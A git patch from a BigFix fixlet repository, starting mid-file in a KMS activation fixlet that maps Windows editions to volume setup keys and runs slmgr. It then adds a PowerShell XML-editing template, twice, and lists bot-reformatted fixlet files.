Professional, NG4HW-VH26C-733KW-K6F98-J8CK4, Windows 8 Professional N, XCVCF-2NXM9-723PB-MHCB7-2RYQQ, Windows 8 Enterprise, 32JNW-9KQ84-P47T8-D8GGY-CWCK7, Windows 8 Enterprise N, JMNMF-RHW7P-DMY6X-RF3DR-X2BQT, "&"Windows Server 2012, BN3D2-R7TKB-3YPBD-8DRP2-27GG4, Windows Server 2012 N, 8N2M2-HWPGY-7PGT9-HGDD8-GVGGY, Windows Server 2012 Single Language, 2WN2H-YGCQR-KFX6K-CD6TF-84YXQ, Windows Server 2012 Country Specific, 4K36P-JN4VD-GDC6V-KDT89-DYFKP, "&"Windows Server 2012 Server Standard, XC9B7-NBPP2-83J2H-RHMBY-92BT4, Windows Server 2012 MultiPoint Standard, HM7DN-YVMH3-46JC3-XYTG7-CYQJJ, Windows Server 2012 MultiPoint Premium, XNH6W-2V9GX-RGJ4K-Y8X6F-QGJ2G, Windows Server 2012 Datacenter, 48HP8-DN98B-MYWDG-T2DCC-8W83P, "&"Windows 7 Professional, FJ82H-XT6CR-J8D7P-XQJJ2-GPDD4, Windows 7 Professional N, MRPKT-YTG23-K7D7T-X2JMM-QY7MG, Windows 7 Professional E, W82YF-2Q76Y-63HXB-FGJG9-GF7QX, Windows 7 Enterprise, 33PXH-7Y6KF-2VJC9-XBBR8-HVTHH, Windows 7 Enterprise N, YDRBP-3D83W-TY26F-D46B2-XCKRJ, Windows 7 Enterprise E, C29WB-22CC8-VJ326-GHFJW-H9DH4, "&"Windows Server 2008 R2 Web, 6TPJF-RBVHG-WBW2R-86QPH-6RTM4, Windows Server 2008 R2 HPC edition, TT8MH-CG224-D3D7Q-498W2-9QCTX, Windows Server 2008 R2 Standard, YC6KT-GKW9T-YTKYR-T4X34-R7VHC, Windows Server 2008 R2 Enterprise, 489J6-VHDMP-X63PK-3K798-CPX3Y, Windows Server 2008 R2 Datacenter, 74YFP-3QFB3-KQT8W-PMXWJ-7M648, Windows Server 2008 R2 for Itanium-based Systems, GT63C-RJFQ3-4GMB6-BRFB9-CB83V, "&"Windows Vista Business, YFKBB-PQJJV-G996G-VWGXY-2V3X8, Windows Vista Business N, HMBQG-8H2RH-C77VX-27R82-VMQBT, Windows Vista Enterprise, VKK3X-68KWM-X2YGT-QR4M6-4BWMV, Windows Vista Enterprise N, VTC42-BM838-43QHV-84HX6-XJXKV, "&"Windows Web Server 2008, WYR28-R7TFJ-3X2YQ-YCY4H-M249D, Windows Server 2008 Standard, TM24T-X9RMF-VWXK6-X8JC9-BFGM2, Windows Server 2008 Standard without Hyper-V, W7VD6-7JFBR-RX26B-YKQ3Y-6FFFJ, Windows Server 2008 Enterprise, YQGMW-MPWTJ-34KDK-48M3W-X4Q6V, "&"Windows Server 2008 Enterprise without Hyper-V, 39BXF-X8Q23-P2WWT-38T2F-G3FPG, Windows Server 2008 HPC, RCTX3-KWVHP-BR6TB-RB6DM-6X7HP, Windows Server 2008 Datacenter, 7M67G-PC374-GR742-YH8V4-TCBY3, Windows Server 2008 Datacenter without Hyper-V, 22XQ2-VRXRG-P8D42-K34TD-G3QQC, Windows Server 2008 for Itanium-Based Systems, 4DWFP-JF3DJ-B7DTH-78FJB-PDRHK, NULL") )) of selects "PartialProductKey from SoftwareLicensingProduct WHERE PartialProductKey is not NULL" of wmis]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-08-31</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 01 Sep 2016 01:11:06 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+parameter "KMSkey" = "{ ((it as trimmed string) of preceding text of first ", " of following text of first ( (", " & it & ",") of (it as trimmed string) of ( if it does not contain "Professional" then ((preceding text of last "Pro" of it & "Professional" & following text of last "Pro" of it) | it) else it ) of unique values of (it as string as trimmed string) of values "ProductName" of keys "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" of (x64 registries; x32 registries) ) of it) of ("NULL, Windows Server 2016 Datacenter, CB7KF-BWN84-R7R2Y-793K2-8XDDG, Windows Server 2016 Standard, WC2BQ-8NRM3-FDDYY-2BFGV-KHKQY, Windows Server 2016 Essentials, JCKRF-N37P4-C2D82-9YXRT-4M63B, "&"Windows 10 Professional, W269N-WFGWX-YVC9B-4J6C9-T83GX, Windows 10 Professional N, MH37W-N47XK-V7XM9-C7227-GCQG9, Windows 10 Enterprise, NPPR9-FWDCX-D2C8J-H872K-2YT43, Windows 10 Enterprise N, DPH2V-TTNVB-4X9Q3-TJR4H-KHJW4, "&"Windows 10 Education, NW6C2-QMPVW-D7KKK-3GKT6-VCFB2, Windows 10 Education N, 2WH4N-8QGBV-H22JP-CT43Q-MDWWJ, Windows 10 Enterprise 2015 LTSB, WNMTR-4C88C-JK8YV-HQ7T2-76DF9, Windows 10 Enterprise 2015 LTSB N, 2F77B-TNFGY-69QQF-B8YKP-D69TJ, Windows 10 Enterprise 2016 LTSB, DCPHK-NFMTC-H88MJ-PFHPY-QJ4BJ, Windows 10 Enterprise 2016 LTSB N, QFFDN-GRT3P-VKWWX-X7T3R-8B639, "&"Windows 8.1 Professional, GCRJD-8NW9H-F2CDX-CCM8D-9D6T9, Windows 8.1 Professional N, HMCNV-VVBFX-7HMBH-CTY9B-B4FXY, Windows 8.1 Enterprise, MHF9N-XY6XB-WVXMC-BTDCT-MKKG7, Windows 8.1 Enterprise N, TT4HM-HN7YT-62K67-RGRQJ-JFFXW, "&"Windows Server 2012 R2 Standard, D2N9P-3P6X9-2R39C-7RTCD-MDVJX, Windows Server 2012 R2 Datacenter, W3GGN-FT8W3-Y4M27-J84CP-Q3VJ9, Windows Server 2012 R2 Essentials, KNC87-3J2TX-XB4WP-VCPJV-M4FWM, "&"Windows 8 Professional, NG4HW-VH26C-733KW-K6F98-J8CK4, Windows 8 Professional N, XCVCF-2NXM9-723PB-MHCB7-2RYQQ, Windows 8 Enterprise, 32JNW-9KQ84-P47T8-D8GGY-CWCK7, Windows 8 Enterprise N, JMNMF-RHW7P-DMY6X-RF3DR-X2BQT, "&"Windows Server 2012, BN3D2-R7TKB-3YPBD-8DRP2-27GG4, Windows Server 2012 N, 8N2M2-HWPGY-7PGT9-HGDD8-GVGGY, Windows Server 2012 Single Language, 2WN2H-YGCQR-KFX6K-CD6TF-84YXQ, Windows Server 2012 Country Specific, 4K36P-JN4VD-GDC6V-KDT89-DYFKP, "&"Windows Server 2012 Standard, XC9B7-NBPP2-83J2H-RHMBY-92BT4, Windows Server 2012 MultiPoint Standard, HM7DN-YVMH3-46JC3-XYTG7-CYQJJ, Windows Server 2012 MultiPoint Premium, XNH6W-2V9GX-RGJ4K-Y8X6F-QGJ2G, Windows Server 2012 Datacenter, 48HP8-DN98B-MYWDG-T2DCC-8W83P, "&"Windows 7 Professional, FJ82H-XT6CR-J8D7P-XQJJ2-GPDD4, Windows 7 Professional N, MRPKT-YTG23-K7D7T-X2JMM-QY7MG, Windows 7 Professional E, W82YF-2Q76Y-63HXB-FGJG9-GF7QX, Windows 7 Enterprise, 33PXH-7Y6KF-2VJC9-XBBR8-HVTHH, Windows 7 Enterprise N, YDRBP-3D83W-TY26F-D46B2-XCKRJ, Windows 7 Enterprise E, C29WB-22CC8-VJ326-GHFJW-H9DH4, "&"Windows Server 2008 R2 Web, 6TPJF-RBVHG-WBW2R-86QPH-6RTM4, Windows Server 2008 R2 HPC edition, TT8MH-CG224-D3D7Q-498W2-9QCTX, Windows Server 2008 R2 Standard, YC6KT-GKW9T-YTKYR-T4X34-R7VHC, Windows Server 2008 R2 Enterprise, 489J6-VHDMP-X63PK-3K798-CPX3Y, Windows Server 2008 R2 Datacenter, 74YFP-3QFB3-KQT8W-PMXWJ-7M648, Windows Server 2008 R2 for Itanium-based Systems, GT63C-RJFQ3-4GMB6-BRFB9-CB83V, "&"Windows Vista Business, YFKBB-PQJJV-G996G-VWGXY-2V3X8, Windows Vista Business N, HMBQG-8H2RH-C77VX-27R82-VMQBT, Windows Vista Enterprise, VKK3X-68KWM-X2YGT-QR4M6-4BWMV, Windows Vista Enterprise N, VTC42-BM838-43QHV-84HX6-XJXKV, "&"Windows Web Server 2008, WYR28-R7TFJ-3X2YQ-YCY4H-M249D, Windows Server 2008 Standard, TM24T-X9RMF-VWXK6-X8JC9-BFGM2, Windows Server 2008 Standard without Hyper-V, W7VD6-7JFBR-RX26B-YKQ3Y-6FFFJ, Windows Server 2008 Enterprise, YQGMW-MPWTJ-34KDK-48M3W-X4Q6V, "&"Windows Server 2008 Enterprise without Hyper-V, 39BXF-X8Q23-P2WWT-38T2F-G3FPG, Windows Server 2008 HPC, RCTX3-KWVHP-BR6TB-RB6DM-6X7HP, Windows Server 2008 Datacenter, 7M67G-PC374-GR742-YH8V4-TCBY3, Windows Server 2008 Datacenter without Hyper-V, 22XQ2-VRXRG-P8D42-K34TD-G3QQC, Windows Server 2008 for Itanium-Based Systems, 4DWFP-JF3DJ-B7DTH-78FJB-PDRHK, NULL") }"
+
+// set clock if the time is off (must be less than 4 hours difference)
+if { 2*hour < absolute value of (now - apparent registration server time) }
+    // NOTE: this will set the client's clock to match it's parent relay, so hopefully it's clock is correct!
+    set clock
+endif
+
+if{x64 of operating system}
+	action uses wow64 redirection false
+endif
+
+waithidden "{(pathname of system folder)}\cscript.exe" "{(pathname of system folder)}\slmgr.vbs" -ipk { parameter "KMSkey" }
+waithidden "{(pathname of system folder)}\cscript.exe" "{(pathname of system folder)}\slmgr.vbs" /ato
+
+// References:
+//		http://technet.microsoft.com/en-us/library/ff793406.aspx
+//		http://support.microsoft.com/kb/929826
+//		http://technet.microsoft.com/en-us/library/bb491016.aspx
+//      https://bigfix.me/relevance/details/3017259
+//      https://blogs.technet.microsoft.com/craigf/2011/03/03/getting-error-0xc004f074-when-activating-against-kms-server/
+
+]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/template XML Editing Template Powershell (25582).bes b/Sites/Windows Management/Fixlets/Fixlets/template XML Editing Template Powershell (25582).bes
new file mode 100644
index 000000000..905c21474
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/template XML Editing Template Powershell (25582).bes	
@@ -0,0 +1,110 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : _template XML Editing Template Powershell
+  ID       : 25582
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2018-11-12T10:49:01
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>_template XML Editing Template Powershell</Title>
+    <Description><![CDATA[<P>Sample template fixlet to modify an XML file.&nbsp; </P>
+<P>This Fixlet demonstrates opening an XML file with PowerShell, and replacing&nbsp;a value in the XML content.</P>
+<P>Originally written to allow removing an NVidia driver without rebooting.&nbsp;&nbsp;NVidia, in their&nbsp;admin-unfriendliness, decided that uninstalling a driver should immediately trigger a reboot without providing any options to delay the reboot or to warn the user that a reboot is going to occur.&nbsp; There are no command-line parameters available to modify this behavior, but we can skip the reboot by modifying a value in their nv.xml configuration file.&nbsp;</P>
+<P>This fixlet, being an example of the PowerShell usage, generates on-the-fly an XML file similar to NVidia's format, and then uses PowerShell to replace one of the attribute values in that file.</P>]]></Description>
+    <Relevance>windows of operating system AND (if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2018-08-23</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 12 Nov 2018 18:48:14 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection false
+
+// build the powershell script that we will use to modify an XML file
+createfile until EOF_EOF_EOF_EOF
+<#
+
+.Synopsis
+This is a Powershell script to search an XML file for a given node, and replace an attribute value on any matching node(s)
+
+.DESCRIPTION
+$MyInvocation.ScriptName -file <filename.xml> -xpath <xpath_to_search> -name <attribute name to modify> -value <value to set> [-out <filename-out.xml>] [-showdetail]
+
+.EXAMPLE
+powershell -ExecutionPolicy Bypass -File $MyInvocation.ScriptName -file "C:\temp\nv.xml" -xpath "//*[@uninstallReboot='true']" -name uninstallReboot -value false -out "c:\temp\nv-output.xml" -showdetail
+
+.NOTES
+Originally written to change brain-dead NVidia driver uninstallers to not force a reboot without warning on uninstall.  The NVidia XML config files needed to be updated to remove the forced reboot.
+
+
+
+#>
+
+
+
+param (
+	[Parameter(Mandatory=$true)][string]$file,
+	[string]$out=$file,
+	[Parameter(Mandatory=$true)][string]$xpath,
+	[Parameter(Mandatory=$true)][string]$name,
+	[Parameter(Mandatory=$true)][string]$value,
+	[switch]$showdetail=$false
+
+)
+if ($showdetail) {{
+	write-host "Parameters:"
+	write-host "file: $file"
+	write-host "Selection Search: $select"
+	write-host "Node to change: $name"
+	write-host "New value to set: $value"
+	write-host "Output File: $out"
+}
+ #$path=$file
+ [xml]$xml=(Get-Content $file)
+ [System.Xml.XmlElement] $root = $xml.get_DocumentElement()
+ $nodes=$root.SelectNodes($xpath)
+ foreach ($node in $nodes) {{
+    if ($showdetail) {{ write-host "Found node  " $node.OuterXml }
+ 	$node.$name=$value
+	}
+ if ($showdetail) {{ write-host "Saving output to " $out }
+ $xml.save($out)
+ EOF_EOF_EOF_EOF
+
+ delete updatexml.ps1
+ move __createfile updatexml.ps1
+
+
+// Create a sample XML file to update, will change "uninstallReboot" to "false"
+delete __createfile
+createfile until EOF_EOF_EOF_EOF
+<?xml version="1.0" encoding="UTF-8"?>
+<nvi title="Graphics Driver" disposition="critical" versionText="391.74" timestamp="2018-06-05T02:19:48.000" name="Display.Driver" version="391.74">
+<phases>
+	<device deviceProgress="0" fixedProgress="0" phase="installAllDrivers" action="uninstall" when="uninstall" uninstallReboot="true">
+      <inf name="C:\Program Files\NVIDIA Corporation\Installer2\Display.Driver.{{2F1420AC-B99E-4088-ACE3-ACD203A2B05E}\*.inf" />
+      <hwid name="PCI\VEN_10DE" />
+    </device>
+</phases>
+</nvi>
+EOF_EOF_EOF_EOF
+delete sample.xml
+move __createfile sample.xml
+
+// Now, use powershell to modify an attribute within the sample file and output it to a new XML
+waithidden powershell.exe -ExecutionPolicy Bypass -File updatexml.ps1 -file sample.xml -xpath "//*[@uninstallReboot='true']" -name uninstallReboot -value false -out sample-output.xml]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/template XML Editing Template Powershell.bes b/Sites/Windows Management/Fixlets/Fixlets/template XML Editing Template Powershell.bes
new file mode 100644
index 000000000..905c21474
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/template XML Editing Template Powershell.bes	
@@ -0,0 +1,110 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : _template XML Editing Template Powershell
+  ID       : 25582
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2018-11-12T10:49:01
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>_template XML Editing Template Powershell</Title>
+    <Description><![CDATA[<P>Sample template fixlet to modify an XML file.&nbsp; </P>
+<P>This Fixlet demonstrates opening an XML file with PowerShell, and replacing&nbsp;a value in the XML content.</P>
+<P>Originally written to allow removing an NVidia driver without rebooting.&nbsp;&nbsp;NVidia, in their&nbsp;admin-unfriendliness, decided that uninstalling a driver should immediately trigger a reboot without providing any options to delay the reboot or to warn the user that a reboot is going to occur.&nbsp; There are no command-line parameters available to modify this behavior, but we can skip the reboot by modifying a value in their nv.xml configuration file.&nbsp;</P>
+<P>This fixlet, being an example of the PowerShell usage, generates on-the-fly an XML file similar to NVidia's format, and then uses PowerShell to replace one of the attribute values in that file.</P>]]></Description>
+    <Relevance>windows of operating system AND (if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2018-08-23</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 12 Nov 2018 18:48:14 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection false
+
+// build the powershell script that we will use to modify an XML file
+createfile until EOF_EOF_EOF_EOF
+<#
+
+.Synopsis
+This is a Powershell script to search an XML file for a given node, and replace an attribute value on any matching node(s)
+
+.DESCRIPTION
+$MyInvocation.ScriptName -file <filename.xml> -xpath <xpath_to_search> -name <attribute name to modify> -value <value to set> [-out <filename-out.xml>] [-showdetail]
+
+.EXAMPLE
+powershell -ExecutionPolicy Bypass -File $MyInvocation.ScriptName -file "C:\temp\nv.xml" -xpath "//*[@uninstallReboot='true']" -name uninstallReboot -value false -out "c:\temp\nv-output.xml" -showdetail
+
+.NOTES
+Originally written to change brain-dead NVidia driver uninstallers to not force a reboot without warning on uninstall.  The NVidia XML config files needed to be updated to remove the forced reboot.
+
+
+
+#>
+
+
+
+param (
+	[Parameter(Mandatory=$true)][string]$file,
+	[string]$out=$file,
+	[Parameter(Mandatory=$true)][string]$xpath,
+	[Parameter(Mandatory=$true)][string]$name,
+	[Parameter(Mandatory=$true)][string]$value,
+	[switch]$showdetail=$false
+
+)
+if ($showdetail) {{
+	write-host "Parameters:"
+	write-host "file: $file"
+	write-host "Selection Search: $select"
+	write-host "Node to change: $name"
+	write-host "New value to set: $value"
+	write-host "Output File: $out"
+}
+ #$path=$file
+ [xml]$xml=(Get-Content $file)
+ [System.Xml.XmlElement] $root = $xml.get_DocumentElement()
+ $nodes=$root.SelectNodes($xpath)
+ foreach ($node in $nodes) {{
+    if ($showdetail) {{ write-host "Found node  " $node.OuterXml }
+ 	$node.$name=$value
+	}
+ if ($showdetail) {{ write-host "Saving output to " $out }
+ $xml.save($out)
+ EOF_EOF_EOF_EOF
+
+ delete updatexml.ps1
+ move __createfile updatexml.ps1
+
+
+// Create a sample XML file to update, will change "uninstallReboot" to "false"
+delete __createfile
+createfile until EOF_EOF_EOF_EOF
+<?xml version="1.0" encoding="UTF-8"?>
+<nvi title="Graphics Driver" disposition="critical" versionText="391.74" timestamp="2018-06-05T02:19:48.000" name="Display.Driver" version="391.74">
+<phases>
+	<device deviceProgress="0" fixedProgress="0" phase="installAllDrivers" action="uninstall" when="uninstall" uninstallReboot="true">
+      <inf name="C:\Program Files\NVIDIA Corporation\Installer2\Display.Driver.{{2F1420AC-B99E-4088-ACE3-ACD203A2B05E}\*.inf" />
+      <hwid name="PCI\VEN_10DE" />
+    </device>
+</phases>
+</nvi>
+EOF_EOF_EOF_EOF
+delete sample.xml
+move __createfile sample.xml
+
+// Now, use powershell to modify an attribute within the sample file and output it to a new XML
+waithidden powershell.exe -ExecutionPolicy Bypass -File updatexml.ps1 -file sample.xml -xpath "//*[@uninstallReboot='true']" -name uninstallReboot -value false -out sample-output.xml]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>

From 8648d7dc633eb1bced8356f7ff0b8034a176e0bf Mon Sep 17 00:00:00 2001
From: "github-actions[bot]" <github-actions[bot]@users.noreply.github.com>
Date: Thu, 17 Sep 2026 21:32:32 +0000
Subject: [PATCH 2/2] [bot] Apply pre-commit auto-fixes

---
 .../Apache Commons Text Scan Analysis.bes     |   68 +-
 .../Fixlets/Analyses/ESET Installed (76).bes  |   66 +-
 ...nux package info - RPM & DEB (2998050).bes |   54 +-
 .../Analyses/SSH Public Keys (2998546).bes    |   48 +-
 .../Fixlets/Analyses/Shellshock (2994719).bes |   50 +-
 ... Available and Installed Packages (95).bes |   52 +-
 ... - Security Center - Windows (2996952).bes |   54 +-
 ...dobe Update Server - Windows (2994671).bes |   68 +-
 ...te Server Settings - Windows (2994676).bes |   68 +-
 ... Shortcuts, RunKey - Windows (2994785).bes |   66 +-
 .../Apache Commons Text Scan Analysis.bes     |   68 +-
 .../Audit Policy - Windows (2998298).bes      |   92 +-
 ...toAdminLogon audit - Windows (2994788).bes |   56 +-
 .../BitLockerEncryptionStatus (96).bes        |   52 +-
 .../Bitlocker - Audit - Windows (2998433).bes |   70 +-
 ...er - Compatibility - Windows (2998299).bes |   46 +-
 ...r - Key Protectors - Windows (2998300).bes |   50 +-
 .../Bitlocker - Logs - Windows (2998437).bes  |   46 +-
 ... Recovery Password - Windows (2998160).bes |   50 +-
 .../Bitlocker - TPM Status (2998637).bes      |   56 +-
 .../Bitlocker - TPM Status (2998646).bes      |   56 +-
 .../Bitlocker Info - Windows (2994754).bes    |   84 +-
 .../Boot Up Analysis - Windows (2994790).bes  |   60 +-
 .../Certificate Audit - Windows (2994825).bes |   54 +-
 .../Certificates - Windows (2998390).bes      |   72 +-
 .../ChkDsk Audit - Windows (2994739).bes      |   80 +-
 .../Chocolatey Audit - Windows (2994810).bes  |   72 +-
 ...lient Clock Audit - Kerberos (2994647).bes |   64 +-
 ...osoft Product Keys - Windows (2994759).bes |   56 +-
 ...Cached Login Creds - Windows (2998301).bes |   50 +-
 ...Current Memory Configuration (2995862).bes |   50 +-
 ...Current Memory Configuration (2998506).bes |   52 +-
 .../DNS Cache - Windows (2995861).bes         |   52 +-
 ...eviceQuery Results - Windows (2994799).bes |   62 +-
 .../Fixlets/Analyses/Devices (50).bes         |   54 +-
 .../Analyses/Devices - Windows (2994709).bes  |  100 +-
 .../Distinguished Name of User (2998580).bes  |   48 +-
 .../Driver Audit - Windows (2994712).bes      |   56 +-
 .../Analyses/Drivers - Windows (2998242).bes  |   44 +-
 ...ET - Configuration - Windows (2998302).bes |   64 +-
 .../EMET - Logs - Windows (2998438).bes       |   46 +-
 .../Event Log - Windows (2998243).bes         |   50 +-
 ...onfiguration Audit - Windows (2994783).bes |   54 +-
 ...ll - Configuration - Windows (2998518).bes |   62 +-
 .../Group Policy - Windows (2998487).bes      |   88 +-
 .../Analyses/Groups - Windows (2998456).bes   |   78 +-
 .../Hard Drive Audit - Windows (2994706).bes  |   88 +-
 .../Analyses/Hardware - Windows (2998512).bes |   74 +-
 .../Hyper-V Guest - Windows (2998484).bes     |   50 +-
 .../Hyper-V Host - Windows (2998252).bes      |   46 +-
 ... Upgrade Failure Information (2998651).bes |   52 +-
 .../Analyses/Inactive Users (2994557).bes     |   48 +-
 .../Intel vPro Audit - Windows (2995830).bes  |   50 +-
 .../Internet Explorer - Windows (2998393).bes |   42 +-
 ...orer Configuration - Windows (2994779).bes |   54 +-
 .../Fixlets/Analyses/Is Docked (74).bes       |   42 +-
 .../KB5022842 on Win 2022 (2998680).bes       |   66 +-
 ...ptop Battery Audit - Windows (2994755).bes |  102 +-
 ...l Admin_User Audit - Windows (2994547).bes |   56 +-
 .../Local Client Administrators (78).bes      |   50 +-
 .../Lockout Events from DC (2998671).bes      |   52 +-
 ...sers with local admin rights (2998581).bes |   52 +-
 ...7-010 verify (WannaCry &co.) (2998568).bes |   54 +-
 ...s 7 _ Windows Server 2008 R2 (2998556).bes |   62 +-
 ...dows 8 _ Windows Server 2012 (2998557).bes |   62 +-
 ...8.1 _ Windows Server 2012 R2 (2998558).bes |   62 +-
 ... Vista _ Windows Server 2008 (2998560).bes |   62 +-
 .../Fixlets/Analyses/MSSQL (2994632).bes      |   88 +-
 ...Deployment Toolkit - Windows (2998513).bes |   60 +-
 .../Microsoft IIS - Windows (2998511).bes     |   54 +-
 ... Information - KMS - Windows (2994711).bes |   68 +-
 ...ce Settings - Extended - RDP (2994595).bes |   86 +-
 .../Microsoft SQL - Windows (2998470).bes     |   60 +-
 ...ts for Available Windows Features (12).bes |   54 +-
 .../Analyses/Network - Windows (2998477).bes  |   64 +-
 .../Network Info - Windows (2994562).bes      |   56 +-
 .../Operating System - Windows (2998541).bes  |   62 +-
 ...rmation (Windows) - Expanded (2994800).bes |  140 +-
 ...(Windows) - metric inspector (2994628).bes |   84 +-
 .../Analyses/PageFile - Windows (2994592).bes |   58 +-
 .../Analyses/Pagefile - Win_Mac (2998262).bes |   44 +-
 .../Analyses/Pagefile - Windows (2998263).bes |   46 +-
 .../Pending Restart - Windows (2998394).bes   |   52 +-
 ...er - Configuration - Windows (2998419).bes |   58 +-
 ...lan Settings - Windows  TODO (2994762).bes |   54 +-
 .../Analyses/PowerShell x64 Status (19).bes   |   62 +-
 .../Analyses/PowerShell x86 Status (20).bes   |   60 +-
 ...erShell x86 Status - Windows (2994540).bes |   86 +-
 .../Primary User - Windows (2995831).bes      |   62 +-
 .../Printer Audit - Windows (2994742).bes     |   86 +-
 .../Analyses/Printers - Windows (2998542).bes |   46 +-
 ...perties (Windows) - Extended (2994574).bes |   64 +-
 ...eal-time Downtime Validation (2998602).bes |   68 +-
 ...ce - Configuration - Windows (2998523).bes |   62 +-
 ...tance - Event Logs - Windows (2998524).bes |   50 +-
 ...nce - Session Logs - Windows (2998525).bes |   86 +-
 .../Remote Assistance - Windows (2998526).bes |   50 +-
 ...top - Session Logs - Windows (2998527).bes |   44 +-
 ...estart information - Windows (2998686).bes |   62 +-
 .../Analyses/SCCM - Windows (2998488).bes     |   64 +-
 .../Analyses/SNMP - Windows (2998459).bes     |   50 +-
 .../Analyses/SNMP Configuration (2994764).bes |   52 +-
 ...tion and Licensing - Windows (2994757).bes |   68 +-
 ...sage Analysis Info - Windows (2994536).bes |   92 +-
 .../Scheduled Tasks - Windows (2998472).bes   |   56 +-
 .../Analyses/Service Error (2994723).bes      |   48 +-
 .../Service Monitor - Windows (2998502).bes   |   66 +-
 .../Analyses/Services - Windows (2998543).bes |   54 +-
 .../Analyses/Services info (2994720).bes      |   58 +-
 .../Analyses/Shares - Windows (2998467).bes   |   60 +-
 ...ogon or GPO issues - Windows (2994789).bes |   78 +-
 .../Stability - Windows (2998544).bes         |   60 +-
 .../Stability Audit - Windows (2994781).bes   |   78 +-
 .../System File Checker results (2994541).bes |   60 +-
 ... Security Analysis - Windows (2998604).bes |  124 +-
 ...ship Authorization - Windows (2998307).bes |   42 +-
 .../Analyses/TPM - Windows (2998504).bes      |   50 +-
 .../Analyses/TSM Backup Audit - Windows.bes   |  110 +-
 ...ders, Logs, etc... - Windows (2994784).bes |   54 +-
 ...ary Administrators - Windows (2998399).bes |   50 +-
 ... - Missing Patches - Windows (2998276).bes |   44 +-
 ...ow Boot Slow Logon - Windows (2998474).bes |   46 +-
 .../Analyses/UEFI - Windows (2998369).bes     |   46 +-
 .../Analyses/Uninstall Analysis (54).bes      |   50 +-
 .../Analyses/Users - Windows (2998571).bes    |   66 +-
 .../VMWare Guest - Windows (2998379).bes      |   48 +-
 .../Analyses/VPN - Windows (2998351).bes      |   64 +-
 ...and Monitor _ OMCI & others) (2994763).bes |  170 +-
 ...ion Based Security - Windows (2998545).bes |   62 +-
 ... Antimalware Audit - Windows (2994634).bes |   80 +-
 .../Analyses/WMI - Windows (2998282).bes      |   52 +-
 ...er - Configuration - Windows (2998309).bes |   78 +-
 ...- Applocker - Logs - Windows (2998440).bes |   52 +-
 ...isting - Applocker - Windows (2998311).bes |   46 +-
 ...rade Eligibility Information (2998656).bes |  120 +-
 ...dmin Users Compliance Status (2998597).bes |  160 +-
 ...Results - WinVista and later (2994570).bes |   90 +-
 .../Windows License Information (2998636).bes |  108 +-
 ...indows Power Scheme Settings (2994768).bes |   68 +-
 ... Information - KMS - Windows (2998367).bes |   64 +-
 ...s System Volume Size & Usage (2994588).bes |   58 +-
 .../Windows Update & WSUS Audit (69).bes      |   54 +-
 ...ors while Installing Updates (2998673).bes |   48 +-
 ...date check results - Windows (2998507).bes |   60 +-
 .../Windows Updates - Windows (2998397).bes   |   52 +-
 .../Analyses/Windows Upgrades (2998608).bes   |   50 +-
 ...wsUpdate.log Audit - Windows (2995914).bes |   52 +-
 .../Analyses/dotNET Framework (2994589).bes   |   64 +-
 ...rcfg energy report - Windows (2994793).bes |   52 +-
 ...rtcut for all users on Windows (25073).bes |  166 +-
 ...ith KMS - set server - Windows (22632).bes |  120 +-
 ...ws with KMS over VPN - Windows (22633).bes |  136 +-
 ...arch List if missing - Windows (26706).bes |   96 +-
 ...r to Remote Desktop Users Group (3794).bes |  122 +-
 ...r to Local Administrators Group (3624).bes |   66 +-
 ...specific domain - www.domain.tld (715).bes |   76 +-
 ... Commons Text detection scan (Windows).bes |  190 +-
 ...plocker Configuration Template (25578).bes |  212 +-
 .../BCDedit Hypervisor Command (24885).bes    |  104 +-
 ...BigSpeak Audio Health Dashboard (6218).bes |  306 +-
 ...board Scheduled Task Setup v1.0 (6217).bes |  300 +-
 ...Tweet Scheduled Task Setup v2.1 (6113).bes |  190 +-
 .../Fixlets/Fixlets/BigTweet v2.1 (6112).bes  |  184 +-
 ...17 - MS Office Issues - Windows (9143).bes |  150 +-
 ...k Regsvr32 in Windows Firewall (20257).bes |  116 +-
